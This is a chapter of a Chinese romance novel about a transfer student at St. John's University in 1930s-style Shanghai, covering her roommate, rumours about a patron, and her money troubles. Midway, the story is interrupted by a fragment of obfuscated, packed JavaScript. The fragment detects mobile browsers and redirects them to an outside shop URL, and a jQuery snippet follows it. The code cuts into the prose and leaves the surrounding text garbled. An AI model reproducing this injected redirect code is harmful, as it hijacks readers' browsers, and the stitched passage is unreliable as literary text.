毕竟是私立学校，设施条件好，一间寝室只住两个人。当天下午，她的舍友就到了——一头时髦的电烫卷发，穿束腰小洋裙和高跟凉鞋，往门口一杵，等她的老妈子铺床，同时面无表情地嚼紫珠口香糖。待人走后，她主动打了个招呼：“Hello？”
金雪池点了点头，“你好。”
“我叫孙婕霓，你呢？”
“金雪池。”
“I like your name。”
金雪池一下子没忍住笑了，因为她的英文发音百转千回，十分有嚼劲。孙婕霓没料到自己夸她，她还笑，且明显不是回应式的微笑，高高扬起眉毛；随机想了想，这金雪池还留根麻花辫子，显然是乡里来的，没必要跟她计较。
“你去教导处拿书了吗？”
“正准备去。”
“可以帮我也拿吗？”
“呃，”金雪池想了想，“我可能拿不动。”
“我请你吃饭。”
拿不拿得动和请吃饭又没有关系，但她懒得说了，顺着张贴的指引找到了教材堆放处。本校的学生本就不多，特别是数学系，连班都不用分了，整个年级也就十二个人。教材自然是全英文，一本Picard的《微分方程论》，一本Osgood的《函数论》，一本Dickson的《线性代数》。她费力地用小臂和胸口兜住厚厚三大本，忽然想起一个问题：孙婕霓是哪个系的？
她是转学生，这下子直接上大二。但孙婕霓既然是新来宿舍，应该是大一新生，就算是数学系，书也不一样。
金雪池只好先回去了，“你是哪个系的？刚才还没问。”
“Oh，我是英文系的。”
孙婕霓也意识到话没说清楚，如今她已经回来了，自己只好亲自去一趟。虽是自己的问题，她仍然有点不高兴，沉着张脸把口香糖嚼得吱吱响。
金雪池已经开始看书，完全把她抛在了脑后。万事做不成，这已经是她能够做好的最后一件事。何况现在花薛莲山的钱上学，可不比以前花老豆的钱上学，容不得她三天打鱼两天晒网、学不出个名堂了！
周一一开课，她往教室里一坐，绝望地发现又只有自己一个女生。
大一那会儿老豆听说班上几乎全是男生后，警铃大作，说可能男生争着帮她打水、带早饭，让她一点好意也不要接受，会显得很掉价。结果根本没有一个男生主动跟她说话，他们倒会在投票、小组作业的时候抱团，有什么临时消息也不会特意跑到女寝楼下通知她；发卷子的时候，看到她考得低，还要聚众发出意味不明的笑声。
唉，世上的绅士真不多。她是只见过那一个。
然而北大的学风还算端正，那些男生大半是因为幼稚，无心的。这圣约翰简直就是顶级纨绔聚集地，金雪池更是绕着同班男生走。这样一来，她完全处于孤立无援的地步，书上的专有名词也听不懂，老师的全英文授课也听不懂。平生第一次，她跑到办公室里找老师问题目，尴尬得浑身汗毛直立。
孙婕霓不常在宿舍，两人碰面的时间少。但在入冬的某个晚上，她忽然说：“我听到一些gossip，关于你的。”
金雪池没有搭腔。孙婕霓又继续说：“他们说，你能转学进来，是托了一位校董的关系。你和那位校董是情人关系。”
她背对着孙婕霓坐在桌前，先是深深吸了一口气，后又叹出来，提笔继续写；头发刚洗过，没有扎，毯子一样覆在背上，整个人看起来毛茸茸的。
这么严重的指控，居然都不反驳，孙婕霓疑心道：难道是真的？但当情人可是个技术活啊，她这么呆，能讨好得了谁？
“喂，怎么不理我？”
金雪池悠悠答道：“准备期中考，考不好情人就要断供了。”
孙婕霓爬到床脚坐着，想跟她继续聊这个话题，结果金雪池再不搭理她了。她就薅起金雪池的头发——真是好头发，又厚、又黑、又顺，摸得她心旷神怡、神魂颠倒，专心致志编起了发型，消停了一晚上。
她不用复习，她爸爸是驻美公使，英文几乎是她的母语。之所以要来圣约翰拿个毕业证书，是因为这所学校是全中国留学率最高的大学，对她申请美国的研究生很有帮助。顺顺利利考完，她就回来骚扰金雪池，“要一起出去玩吗？”
“我明天还有一门。”
“Oh，你也没拒绝。”
金雪池拿小刀削铅笔，“密斯孙沦落到没人陪着出去玩了？”
“别人陪我出去太多次，我都不好意思再邀请。You know，她们觉得我成天就是玩。”
第二天金雪池考完了，确实看不进去书，决定进行一些有益健康的人际交往。她换衣服的时候，孙婕霓就在嘭嘭地拍香奈儿香粉；她穿鞋的时候，孙婕霓就在噗嗤噗嗤地喷娇兰蝴蝶夫人香水；她把辫子盘到脑后时，孙婕霓把一块真丝方巾叠进鳄鱼皮手包里，长指甲在硬皮上咔哒咔哒地敲。
这一场声音与气味的盛宴结束，孙婕霓一回头，眉毛再度挑起，眼珠上上下下地扫描她；配合口腔里咀嚼口香糖的动作，鄙夷的态度已经尽在不言中了。金雪池知道嫌她衣服差了。前一阵子天气还热着，她还能穿薛莲山给买的旗袍；现在冷了，她只能自己去添置新衣，当然拣便宜的买。
最终孙婕霓还是没说什么，扭头的时候疑似翻了个白眼，“走吧。”
圣约翰北临苏州河，南占兆丰公园，兆丰公园挨着的就是愚园路。金雪池真是从未出过校门，都没意识到他家离圣约翰这么近。不过孙婕霓显然对愚园路没兴趣，往更远的商业街区走。
“你有什么要买的吗？”
“我买一沓新帕子吧，旧的太脏了。”
“Okay，我和你一起。”
孙婕霓都抬腿要往百货公司走了，结果金雪池蹲了下来，在路边的一个小摊上挑了挑。那帕子就是最简单的纯色棉布，只能挑个大小。她付了三角钱，拿了一沓。
孙婕霓的口腔又开始蠕蠕地动。
“我现在很拮据。”金雪池解释说。
“你的情人不给生活费吗？”
“给了。但是我也没必要多花——”
“不是，真的有？”孙婕霓抓住她的肩膀，“真的有啊？我以为你开玩笑。”
金雪池在她手里宛若一条拉长、瘫软的猫，被摇来摇去，一只手端了端发髻，免得被摇散了，“其实和你想的那种关系不一样。我只是觉得，受了恩惠，还到处急着撇清干系，太装清高了。”
“Out of my expectation。”她慢慢地说，“其实你看上去就是爱装清高的那一款。”
“我以前真的是。Used to be。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006594|192557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“为什么忽然说英文？”
“学你呗。”
“别学了。”孙婕霓不赞成道，“你发音真烂。”
金雪池小小的一只立在那里，摇头晃脑道：“No wayyyy。”尾音拉得很长，模仿她口音中的嚼劲。孙婕霓大叫一声，扑过去挠她；她微弱地挣扎片刻，屈服了，任由对方揪着自己的领子往前走。
两人逛了许多商铺，大多时候是孙婕霓问“这两个哪一个好”，金雪池把手揣在袖笼子里，说“都可以”，然后孙婕霓翻个白眼。
其实她并不是敷衍，她是真心觉得都可以，比较不出来。孙婕霓也并非真心征求意见，她只是需要一点互动感，至于说最后买什么，她自有定夺。
一通购物下来，她把自己哄高兴了。
“我送你点什么吧。”她说，“随便挑。要不要大衣？你这绒线衫太恶心了。”
“不用。”
“你还不如给我当情人。”孙婕霓感慨道，“我是不会坐视对方穿丑衣服的。”
回去的时候又经过了愚园路，金雪池瞥了那排灯火辉煌的别墅好几眼，中心如噎。他们已经许久没有联系了。薛莲山亲自跑到校园里找她，会给她造成舆论压力；公共电话又是只能她打过去，不能他打过来；至于说写信，两人走去邮局的距离都比走去见对方的距离远，没有必要。当然，非要写也可以。
可是他有他的事，不能全天围着个学生转吧。
两人回了宿舍。金雪池拎起暖瓶，说下去打热水，实则拎着个空瓶子一路走出校门。路上一个行人都不剩了，黑寂寂的，寒冷的空气像冷水一样浸泡整座城市。她如此勇敢，独自走了这么长一段夜路；她如此怯懦，在薛公馆的对街踟蹰许久，就是不敢过马路。
她走进电话亭，取下听筒。想听见他的声音，想听他说那些美妙的话，想听他那些似真似假关于爱的表达。
彻底不抵抗了吗？金小姐，要主动成为他召之即来的人吗？
金雪池静默几秒，把听筒往回一挂。
期中考试她考得很好，第一名，但全年级也就十二个人，这个第一名的含金量就大大下跌了。她逐渐适应了圣约翰的节奏，觉得自己在应付学习之外，还应该赚一点钱，不能老处于被动接钱的地位。她是打算帮人写作业或者写论文的，但班上的同学显然对她很有敌意。
她把这想法跟孙婕霓说了，孙婕霓当时正在涂指甲油，很不爱搭理她，“那你别找你们年级的。或者去别的学校问。”
“我去找陌生人，一上来就问他要不要帮忙代写？”
e on！你不问，难道指望他们上来问你能不能代写？”
周日上午全校都要去教堂礼拜，不同院系、年级会按照固定座位坐，最利于她找目标。神父在上面讲的时候，金雪池已经锁定了那一排大一的学生。一散会，她就跟了上去，跟着出了礼堂的门口都没下定决心开口。
最后，她心一横，拍了拍两个并肩走着的学妹。她们同时回了头，满脸疑问。
“请问，”金雪池僵僵地说，“呃，你们需要帮忙写作业吗？”
那两人对视一眼，用眼神进行了一番淋漓尽致的交流，最后一边摆手、一边大笑着走了。既没有骂她，又没有给她苦受，金雪池面无表情地往宿舍走，实则五内如焚。她再没有推进这项计划。